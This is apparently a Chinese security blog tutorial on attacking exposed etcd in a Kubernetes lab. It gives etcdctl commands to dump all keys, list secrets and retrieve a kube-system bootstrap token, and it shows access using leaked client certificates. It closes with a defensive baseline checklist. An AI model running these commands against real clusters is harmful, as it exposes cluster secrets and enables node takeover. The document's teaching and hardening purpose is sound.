> 文章列表 > 云安全—etcd未授权漏洞cert证书遗失

云安全—etcd未授权漏洞cert证书遗失

云安全—etcd未授权漏洞cert证书遗失

0x00 前言

今儿来看看etcd未授权漏洞以及cert证书遗失问题

0x01 etcd简述

1.etcd是什么

etcd是采用go语言编写的一个分布式的key-value存储。

2.etcd作用

etcd主要用于解决集群管中的OS升级的分布式并发控制以及配置文件的存储与分发等问题。在kubernetes集群中,Etcd用于保存集群所有的网络配置和对象的状态信息

3.etcd端口

  • 2379 客户端通信
  • 2380 集群中的peer通信

4.安全问题

  • 2379 端口公网暴露
  • cret证书泄露
  • client-cert-auth未授权

0x01 2379 端口公网暴露+client-cert-auth未授权

1.环境搭建

首先注释掉client-cert-auth=true这一行,然后将https改为http。
云安全—etcd未授权漏洞cert证书遗失然后重启

systemctl restart kubelet

这里如果不懂k8s那十有八九是起不开k8s的,但是没关系,etcd是可以启动的

访问2379:
云安全—etcd未授权漏洞cert证书遗失

2.利用

首先是工具获取:https://github.com/etcd-io/etcd/releases/

具体操作可以参考:https://blog.csdn.net/a1023934860/article/details/124966178

2.1 常规操作

查看所有的内容,–prefix 的意思是前缀匹配键来查询值

 etcdctl.exe --endpoints=http://192.168.247.156:2379/  get / –prefix 

云安全—etcd未授权漏洞cert证书遗失指定输出的格式

–write-out=“json”
云安全—etcd未授权漏洞cert证书遗失

2.2 dump

dump很简单,直接将上述内容输出到txt或者其他文件里

etcdctl.exe --endpoints=http://192.168.247.156:2379/  get / –prefix  --write-out="json" --write-out="json" > dump.txt

2.3 获取secrets

etcdctl.exe --endpoints=http://192.168.247.156:2379/  get / --prefix --keys-only | grep /secrets/

云安全—etcd未授权漏洞cert证书遗失

2.4 获取证书

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get /registry/secrets/kube-system/bootstrap-signer-token-pfqct

获取证书以及token
云安全—etcd未授权漏洞cert证书遗失
拿着tokne就相当于是获取到了所有节点的权限。

0x02 cert证书泄露

当client-cert-auth开启设置,但是cert证书泄露

1.环境搭建

默认环境就行

2.利用

工具同上

2.1 验证存活

etcdctl.exe --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.247.156:2379/ --cacert=ca.crt --key=healthcheck-client.key --cert=healthcheck-client.crt endpoint health

云安全—etcd未授权漏洞cert证书遗失

其他利用方式都一样。

0x03 基线检查

  • 端口是否对外开放
  • 证书验证是否开启
  • 证书是否存在遗失问题
  • 证书是否长时间未更换
  • 记录是否存在异常请求